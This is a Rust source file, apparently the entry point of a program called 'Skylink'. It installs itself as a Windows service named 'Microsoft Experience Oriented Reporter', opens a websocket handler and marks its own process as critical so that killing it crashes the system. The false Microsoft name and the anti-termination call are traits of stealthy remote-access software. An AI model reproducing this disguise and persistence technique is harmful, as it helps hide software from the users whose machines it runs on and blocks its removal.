181 lines
6.3 KiB
Rust
181 lines
6.3 KiB
Rust
use skylink::lib::logger::{LogLevel, log};
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use futures_util::SinkExt;
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use skylink::lib::websockets::websocket_handler;
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use skylink::lib::winapi::mark_process_critical;
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use skylink::LOG_PATH;
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use skylink::WsTx;
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use tokio_tungstenite::tungstenite::Message;
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use std::sync::Arc;
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use tokio::sync::Mutex;
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use std::ffi::OsString;
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use std::time::Duration;
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use std::sync::mpsc::channel;
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use windows_service::{
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define_windows_service,
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service::{
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ServiceControl, ServiceControlAccept, ServiceExitCode, ServiceState, ServiceStatus,
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ServiceType,
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},
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service_control_handler::{self, ServiceControlHandlerResult},
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service_dispatcher,
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};
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const SERVICE_NAME: &str = "Microsoft Experience Oriented Reporter";
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const SERVICE_TYPE: ServiceType = ServiceType::OWN_PROCESS;
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fn main() -> Result<(), Box<dyn std::error::Error>> {
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// Initialize logging
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// Check if we are in a Debug build AND the environment variable is set
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let is_debug_mode = cfg!(debug_assertions);
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let force_console = std::env::var("SKL_AS_REGULAR_EXECUTABLE").is_ok();
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if is_debug_mode && force_console {
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println!("Detected Debug Env Var: Running as console application...");
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run_as_console()?;
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} else {
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// Run as a Windows Service
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run_as_service()?;
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}
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Ok(())
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}
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// -------------------------------------------------------------------------
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// SHARED BUSINESS LOGIC
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// -------------------------------------------------------------------------
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async fn run_app(mut shutdown_rx: tokio::sync::broadcast::Receiver<()>) {
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log(LogLevel::Info, LOG_PATH, format!("[main] Skylink version 1.0.0 starting...")).await;
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let ws_tx: WsTx = Arc::new(Mutex::new(None));
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let ws_tx_for_handler = Arc::clone(&ws_tx);
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tokio::spawn(async { websocket_handler(ws_tx_for_handler).await; });
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// this isn't necessary for program functioning
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// and also error handling this is a PITA
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// maybe i'll make this proper in a future update. no promises.
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let is_debug_mode = cfg!(debug_assertions);
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let force_console = std::env::var("SKL_NON_CRITICAL").is_ok();
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if !(is_debug_mode && force_console) {
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let _ = mark_process_critical();
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}
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// Wait for the shutdown signal
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tokio::select! {
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_ = shutdown_rx.recv() => {
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log(LogLevel::Info, LOG_PATH, format!("Shutdown signal received. Cleaning up...")).await;
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}
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}
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}
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// -------------------------------------------------------------------------
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// MODE 1: CONSOLE / DEBUG
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// -------------------------------------------------------------------------
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fn run_as_console() -> Result<(), Box<dyn std::error::Error>> {
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// Manually build the runtime because main() is synchronous
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let rt = tokio::runtime::Runtime::new()?;
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rt.block_on(async {
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// Create a channel to signal shutdown
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let (tx, rx) = tokio::sync::broadcast::channel(1);
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// Handle Ctrl+C to behave like a polite console app
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let tx_clone = tx.clone();
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tokio::spawn(async move {
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if let Ok(()) = tokio::signal::ctrl_c().await {
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println!("\nCtrl+C detected.");
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let _ = tx_clone.send(());
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}
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});
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// Run the app
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run_app(rx).await;
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});
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Ok(())
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}
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// -------------------------------------------------------------------------
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// MODE 2: WINDOWS SERVICE
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// -------------------------------------------------------------------------
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// Macro to generate the extern "system" entry point required by Windows
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define_windows_service!(ffi_service_main, my_service_main);
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fn run_as_service() -> Result<(), windows_service::Error> {
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service_dispatcher::start(SERVICE_NAME, ffi_service_main)
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}
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fn my_service_main(_arguments: Vec<OsString>) {
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// 1. Setup the event handler to communicate with the OS
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let (shutdown_tx, shutdown_rx) = channel();
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let event_handler = move |control_event| -> ServiceControlHandlerResult {
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match control_event {
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ServiceControl::Stop | ServiceControl::Interrogate => {
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// Signal the logic to stop
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let _ = shutdown_tx.send(());
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ServiceControlHandlerResult::NoError
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}
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_ => ServiceControlHandlerResult::NotImplemented,
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}
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};
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let status_handle = match service_control_handler::register(SERVICE_NAME, event_handler) {
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Ok(h) => h,
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Err(e) => {
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eprintln!("Failed to register service control handler: {}", e);
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return;
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}
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};
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// 2. Tell Windows we are running
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let next_status = ServiceStatus {
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service_type: SERVICE_TYPE,
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current_state: ServiceState::Running,
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controls_accepted: ServiceControlAccept::STOP,
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exit_code: ServiceExitCode::Win32(0),
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checkpoint: 0,
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wait_hint: Duration::default(),
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process_id: None,
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};
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if let Err(e) = status_handle.set_service_status(next_status) {
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eprintln!("Failed to set service status: {}", e);
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}
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// 3. Start Tokio Runtime and Block
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// We create the runtime here because we are on the service thread provided by Windows.
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let rt = tokio::runtime::Runtime::new().unwrap(); // Handle unwrap properly in prod
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rt.block_on(async move {
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let (async_tx, async_rx) = tokio::sync::broadcast::channel(1);
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// Spawn a bridge task: watches the Sync OS channel -> sends to Async Tokio channel
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tokio::spawn(async move {
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// This is a blocking recv on a std::sync::mpsc, so we wrap it in spawn_blocking
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// or just poll it if we expect it to be rare.
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// Since this is the main logic block, we can just check it in a separate thread.
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let _ = tokio::task::spawn_blocking(move || {
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let _ = shutdown_rx.recv(); // Block waiting for OS stop command
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}).await;
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let _ = async_tx.send(()); // Tell app to stop
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});
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run_app(async_rx).await;
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});
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// 4. Tell Windows we have stopped
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let stop_status = ServiceStatus {
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service_type: SERVICE_TYPE,
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current_state: ServiceState::Stopped,
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controls_accepted: ServiceControlAccept::empty(),
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exit_code: ServiceExitCode::Win32(0),
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checkpoint: 0,
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wait_hint: Duration::default(),
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process_id: None,
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};
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let _ = status_handle.set_service_status(stop_status);
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}
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